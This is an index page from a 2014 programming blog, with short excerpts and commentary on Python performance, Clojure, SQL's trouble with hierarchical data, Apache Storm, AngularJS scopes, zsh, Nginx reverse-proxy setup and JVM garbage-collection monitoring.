
In Technology

No Comments

Kenya was the first country in Sub-Saharan Africa to deploy a completely online national HIS in September 2011

I note this mostly in surprise, as I realize how many efforts there are now ongoing to modernize health systems all over the world:

Kenya was the first country in Sub-Saharan Africa to deploy a completely online national HIS in September 2011. All districts and selected health facilities are connecting to the DHIS 2 national server using Mobile Internet (dongles/usb modems) on their computers. Kenya allows self-registration of personal user accounts.

After 1 year of country-wide use the national reporting rates for ...

Read More Source

November 21st, 2014

In Technology

No Comments

Government science projects: i2b2

I said this before, but it is an interesting trend: the last 20 years has seen the growth of a great many data silos in every industry, both governmental and private-sector, and now there seems to be great value in seeking integration. I noticed this during the summer, when I was working at LaunchOpen: they were integrating private sector databases such as Moodle and Blackboard, with those databases maintained by the Department Of Education. Now I notice the same thing ...

Read More Source

November 21st, 2014

In Technology

No Comments

The SQL relational model fails at hierarchical trees

This is a very good point:

Since we don’t know the number of levels between the two, we can’t tell how many times to selfjoin emp, so that the task can’t be solved in traditional SQL.

Which is from here:

Relational databases are universally conceived of as an advance over their predecessors network and hierarchical models. Superior in every querying respect, they turned out to be surprisingly incomplete when modeling transitive dependencies. Almost every couple of months a question about how to ...

Read More Source

November 20th, 2014

In Technology

No Comments

Why is declarative programming so limited?

Interesting idea, though strange that this has not caught on decades ago:

Today’s computers don’t have enough contextual knowledge to make me a sandwich but there are lots of domains where this approach excels. The classic example is SQL databases. Rather than specifying exact data-structures and operations, the user specifies a high-level schema and sends descriptions of queries. It is the responsibility of the database to choose storage types, manage concurrent changes and generate query plans. It makes these decisions based ...

Read More Source

November 20th, 2014

In Technology

No Comments

Python encourages tinkering

I already linked to this, but it really is interesting. I don’t think this is possible in Ruby or PHP or script languages in general, but you can do crazy things in Python:

Above we did an in-place modification of a value in a numpy array. This is easy, because a numpy array is simply a data buffer. But might we be able to do the same thing for a list? This gets a bit more tricky, because lists store ...

Read More Source

November 18th, 2014

In Technology

No Comments

Software transactional memory in Python

Interesting:

Python has a GIL, right? Not quite – PyPy STM is a python implementation without a GIL, so it can scale CPU-bound work to several cores. PyPy STM is developed by Armin Rigo and Remi Meier, and supported by community donations. You can read more about it in the docs.

Although PyPy STM is still a work in progress, in many cases it can already run CPU-bound code faster than regular PyPy, when using multiple cores. Here we will see how ...

Read More Source

November 18th, 2014

In Technology

No Comments

Rapid intake and output of data, with control over the scale of the failures

Two new and interesting libraries:

s3-logging:

At first, we used the Hadoop S3 client, which we had used in some lightweight use cases before. Unfortunately, it ended up coping poorly. Each server had a sustained throughput of about 10 megabytes of compressed data per second, and every so often S3 would hiccup and stop accepting data for a few minutes. When this happened, Hadoop’s client would simply buffer the data in-memory until all the memory was exhausted, at which point the process ...

Read More Source

November 18th, 2014

In Technology

No Comments

Why Python is slow

This is a great comparison of C code to Python code. (Actually, this is true of most script languages, not just Python.)

C Addition

Assign 1 to a Assign 2 to b call binary_add(a, b) Assign the result to c

The equivalent code in Python looks like this:

# python code a = 1 b = 2 c = a + b

here the interpreter knows only that 1 and 2 are objects, but not what type of object they are. So the The interpreter must inspect PyObject_HEAD for ...

Read More Source

November 18th, 2014

In Technology

No Comments

Perl is faster than Python

Interesting:

A related question is: why is Perl so fast? Quite a few years ago I wrote a little Runge-Kutta solver in Perl for some simulation work. It seemed like a good idea at the time. The equations of motion had to be integrated over a very long time, and it could take hours for a single run (still much faster than the Monte Carlo it was being used to do a sanity-check on). I re-wrote everything in C++, and picked up ...

Read More Source

November 14th, 2014

In Technology

No Comments

Setting up Flask to talk to Nginx

The main thing I learned was how to configure the reverse proxy for Nginx:

server { location / { proxy_pass http://127.0.0.1:8000; } location /static { alias /home/www/flask_project/static/; } }

Easy.

The configuration of the static files was also interesting:

So, HTTP requests that hit the / endpoint will be ‘reverse proxied’ to port 8000 on 127.0.0.1 ...

Read More Source

November 14th, 2014

In Technology

No Comments

Do you need to learn how to program a computer?

No. You do not need to learn how to program a computer. The question is stupid. And yet the debate goes on, endlessly. I recall this debate was going strong when I was a child. Here is the New York Times in 1984:

”SHOULD I learn to program?” and ”Do I have to learn to program?” are two variants of the question probably most asked by people testing the waters of computer ownership. The answer usually boils down to an ...

Read More Source

November 14th, 2014

In Technology

No Comments

How difficult is it to work with TCP?

I am thinking of creating a new protocol on top of TCP. I’ve been thinking that, with all the good libraries out there, I would not have to do much work. But then I read this, and it gives me pause: maybe TCP is tougher than I thought:

Zero windows are another frequent source of grief, to such lengths that at multiple mobile operators the technical staff have quizzed us extensively on our use of zero windows. I don’t quite ...

Read More Source

November 14th, 2014

In Technology

No Comments

The Rubinius community engages in extraordinary outreach

Interesting:

Here we are, in no particular order:

Sophia Shao: As a recent graduate of Carnegie Mellon University’s Electrical & Computer Engineering department, Sophia is currently tackling a massive application migration from MRI to Rubinius. She’s also been improving Rubinius every day. Hit her up for tips about debugging machine code.

Jesse Cooke: As co-founder of Watsi, a venture to fund healthcare for people around the world, Jesse was part of YCombinator’s first ever non-profit. Jesse has been contributing in any way he ...

Read More Source

November 12th, 2014

In Technology

No Comments

Martin Odersky on the transition from OOP to Functional programming

I am not wild about Scala, but Martin Odersky is a very smart guy. In this video he offers a fascinating history of OOP, which leads into his point about the transition we now face:

I appreciate Odersky pragmatic approach, he is willing to say that sometimes the mutable approach is somewhat more readable:

Odersky is self-effacing and willing to accept pragmatic definitions of “mutable” and “immutable”. He is not a purist.

I dislike the fact that Scala is so multi-paradigm ...

Read More Source

November 12th, 2014

In Technology

No Comments

Lisp is not functional, but Clojure is

Back in 1958 Lisp invented the idea of an everything-is-mutable language. Therefore, Lisp is not necessarily functional, since a mutable language is typically not functional. (Although it is possible to adopt a functional style in a mutable language, such as Javascript.) A functional language should be one where, given a set of inputs, one always gets the same output, in a deterministic fashion.

Let Over Lambda insists that Lisp is not Functional:

It seems like we use defun to define new ...

Read More Source

November 12th, 2014

In Technology

No Comments

The naming of ducks in Python

This is great:

Source

November 12th, 2014

In Technology

No Comments

The importance of names to signal intent in Python

Interesting:

Source

November 12th, 2014

In Technology

No Comments

The 11 greatest Python blogs

An interesting overview of the Python blogosphere.

Source

November 12th, 2014

In Technology

No Comments

Structs in Python

Interesting:

A record (aka “struct” in C) is a pre-defined collection of values where each is accessed by a unique name. Depending on the nature of the data, records may be a superior alternative to dictionaries and instances of custom classes.

PyRecord allows you to use records in Python v2.7 to v3.x and PyPy v2, and can be thought of as an improved namedtuple.

In Python terms, a record is an instance of any class for which you define some attributes but no ...

Read More Source

November 12th, 2014

In Technology

No Comments

Great ideas for zsh config

I got a lot of great ideas for my zsh config by reading this one

Source

November 8th, 2014

In Technology

No Comments

How to design a Clojure/Redis system with Components

This is really interesting:

The idea was to have a single client for the connection to the Twitter Streaming API and the persistence of the received Tweets in ElasticSearch, plus multiple machines to serve WebSocket connections to the client. For the communication between the processes, I picked Redis Pub/Sub because its model of communication appears to suit the requirements really well. As cute as the drawing may be, I prefer code (plus drawing), so I took the previous monolith ...

Read More Source

November 8th, 2014

In Technology

No Comments

Backends for RESTful interfaces versus WebSockets

Interesting:

This next step may or may not live in the same JVM – I haven’t decided yet. So the idea is to aggregate data on the server side and only deliver the aggregated data structures back to the client side. For example, this could be a few hundred aggregates over increments of five minutes each. These increments can easily be made addressable (and cacheable): let’s say it is 1:17pm. Then, we have a last and incomplete increment from 1:15pm ...

Read More Source

November 8th, 2014

In Technology

No Comments

Where Apache Storm fails

Very interesting post:

What comes to mind immediately when regurgitating the requirements above is Storm and the Lambda Architecture. First I thought, great, such a search could be realized as a bolt in Storm. But then I realized, and please correct me if I’m wrong, that topologies are fixed once they are running. This limits the flexibility to add and tear down additional live searches. I am afraid that keeping a few stand-by bolts to assign to queries dynamically would not ...

Read More Source

November 8th, 2014

In Technology

No Comments

How many bindings exist in your Angular app?

This script looks useful:

function getScopes(root) { var scopes = []; function traverse(scope) { scopes.push(scope); if (scope.$$nextSibling) traverse(scope.$$nextSibling); if (scope.$$childHead) traverse(scope.$$childHead); } traverse(root); ...

Read More Source

November 8th, 2014

In Technology

No Comments

All that is terrible in AngularJS

Interesting:

The scope of a variable is the part of the program where the variable can be legally referenced. If your system has variables, it has some concept of scoping.

Angular has a DSL that is entangled with the HTML and used primarily to express the data-bindings between the UI and application code. This has variables, and thus a concept of scopes. Let’s take a look at it. Consider for example ng-model:

<input type=”text” ng-model=”obj.prop” />

This creates a two way binding on ...

Read More Source

November 7th, 2014

In Technology

No Comments

Using zsh as my shell

I’ve been using bash for about 14 years, first on Linux, and the later on Mac OSX. I have heard good things about zsh. The idea of seeing my git branch listed in my terminal, at all times, will save me from many mistakes (I have often committed code on the wrong branch). This article finally convinced me to switch to zsh on my Mac:

z No this is not a typo, the last thing I want to show you is z. ...

Read More Source

November 7th, 2014

In Technology

No Comments

Logcheck keeps track of your logs, emails you when things get suspicious

I only just discovered logcheck, but now I want to use it on all of my servers:

How Logcheck Protects Your Server It turns out that Logcheck is a pretty simple tool. All it does is periodically check the log files you specify. It filters out the uninteresting parts and emails you what is left. It is smart enough to avoid mailing you the same information multiple times by keeping a “bookmark” for each log file. This way it can only ...

Read More Source

November 3rd, 2014

In Technology

No Comments

Network versus CPU bandwidth in a Storm topology

Scroll half-way down through this conversation among Storm committers, and you learn interesting things about the trade-offs between CPU and network bandwidth:

@Gvain,

There are two parts in your question, In your test, why throughput drops when worker number increase after reaching a value(8 in your test case)?

For this one, it is because your CPU reach limit for worker# = 8 (CPU usage: 89%), In this case, adding more workers will just adding more threads and context switch, hurting performance. While for ...

Read More Source

November 2nd, 2014

In Technology

No Comments

Why not use asserts in Python?

I use asserts a great deal in Clojure. They partly take the place of unit tests. Apparently they are mostly unused in the world of Python, although some of the reasons listed here would be general to any language:

Several reasons come to mind…

It is not a primary function

Many programmers, lets not get bogged down by the rationale, disrespect anything which is not a direct participant in the program’s penultimate functionality. The assert statement is intended for debugging and testing, ...

Read More Source

November 1st, 2014

In Technology

No Comments

The surprisingly difficult task of data importing

The level of difficulty is a surprise to me:

Second, it was clear that reliable data loads would require deep support from the data pipeline. If we captured all the structure we needed, we could make Hadoop data loads fully automatic, so that no manual effort was expanded adding new data sources or handling schema changes—data would just magically appear in HDFS and Hive tables would automatically be generated for new data sources with the appropriate columns.

Third, we still had ...

Read More Source

November 1st, 2014

In Technology

No Comments

What Apache Storm demands from you

I’ve been trying to figure out how much I need to do manually when working with Apache Storm. This part seems important:

What is Storm’s reliability API?

There’s two things you have to do as a user to benefit from Storm’s reliability capabilities. First, you need to tell Storm whenever you’re creating a new link in the tree of tuples. Second, you need to tell Storm when you have finished processing an individual tuple. By doing both these things, Storm can detect ...

Read More Source

October 30th, 2014

In Technology

No Comments

Why not use fun notation?

Luciano Ramalho gets some laughs when he introduces cartoon characters as a form of notation to describe what his code is doing:

But why not use this notation for real? He makes the point that his notation is more clear than UML.

When I was a kid I hated math. As I got older I realized I loved logic, and this made me a good computer programmer. When I look back, I realize that as a kid I hated math ...

Read More Source

October 30th, 2014

In Technology

No Comments

Single dispatch in Python

Andrew Montalenti describes the almost-multimethods that Python got in 3.4:

from functools import singledispatch

   @singledispatch    def handle(obj):      pass

   @handle.register(A)    def handle_A(obj):      pass

   @handle.register(B)    def handle_B(obj):      pass

   def main(obj):      # obj could be ...

Read More Source

October 28th, 2014

In Technology

No Comments

Sandboxing in Python

After many years programming in Ruby, PHP, Clojure, etc, I am only now getting into Python. One thing that strikes me is the extent to which each eco-system emphasizes different things. In theory, all of these languages are Turing-complete, and so you could do anything in any of these languages, but the reality is different: each community regards some issues as important, and other issues as not important, and so you end with tooling for different tasks, in each of ...

Read More Source

October 27th, 2014

In Technology

No Comments

How to track garbage collection on the JVM

I had a Clojure app with painfully long pauses. I thought maybe they were GC pauses, except they are too long. This is a good tip:

You can use

jstat -gcutil 2000

to print the GC statistics every 2 seconds, http://docs.oracle.com/javase/1.5.0/docs/tooldocs/share/jstat.html

It the long pause is from GC, the columns FGCT/FGC values would be large.

If you think it’s a swap issue, you may want to use

vmstat 1 10000

watch out the si/so columns.

Source

October 27th, 2014

In Technology

No Comments

When is visionary-driven development good?

Interesting:

By controlling every detail of the project, I could ensure the project remained at a very high quality. Since I knew the project from top to bottom, I could anticipate all the ways any given change would affect the project as a whole. And since I had a vision of where the project should go, I could prevent any changes from going in that conflicted with that vision (or modify them to be consistent). I could ensure the project always ...

Read More Source

October 23rd, 2014

In Technology

No Comments

Does Python need strict data-type enforcement?

Andrew Montalenti has a long post voicing his view of data-type enforcement in Python. He seems to lean against strictness (I will quote him at length below). I am mostly ignorant about Python and I would not want to match my knowledge of Python against his, but I have seen this debate occur in other languages, so I’m going to write about my own experience adding types to dynamic languages.

For the last 2 years I’ve been working with Clojure, ...

Read More Source

October 23rd, 2014

In Technology

No Comments

The end of system admins

Once upon a time, not that long ago, there was a clear division between “programmers” and “sysadmins”. Programmers wrote software and sysadmins made sure all the machines were running. But, as Marc Andreessen said, “software is eating the world.” Sysadmin work has become increasingly automated, and therefore sysadmins (at least the good ones) are increasingly forced to become programmers (or they become irrelevant). The job designation “devops” was invented to refer to the new kind of sysadmin, who has to ...

Read More Source

October 22nd, 2014

In Technology

No Comments

Best practices are sometimes the worst practices

A detailed look at Java memory management in Minecraft 1.8 blames the performance problems on so called “best practices”:

Minecraft 1.8 has so many performance problems that I just don’t know where to start with.

Maybe the biggest and the ugliest problem is the memory allocation. Currently the game allocates (and throws away immediately) 50 MB/sec when standing still and up to 200 MB/sec when moving. That is just crazy.

What happens when the game allocates 200 MB memory every second ...

Read More Source

October 22nd, 2014

In Technology

No Comments

The difference between brains and computers

Interesting:

Michael Jordan: I wouldn’t want to put labels on people and say that all computer scientists work one way, or all neuroscientists work another way. But it’s true that with neuroscience, it’s going to require decades or even hundreds of years to understand the deep principles. There is progress at the very lowest levels of neuroscience. But for issues of higher cognition—how we perceive, how we remember, how we act—we have no idea how neurons are storing information, how they ...

Read More Source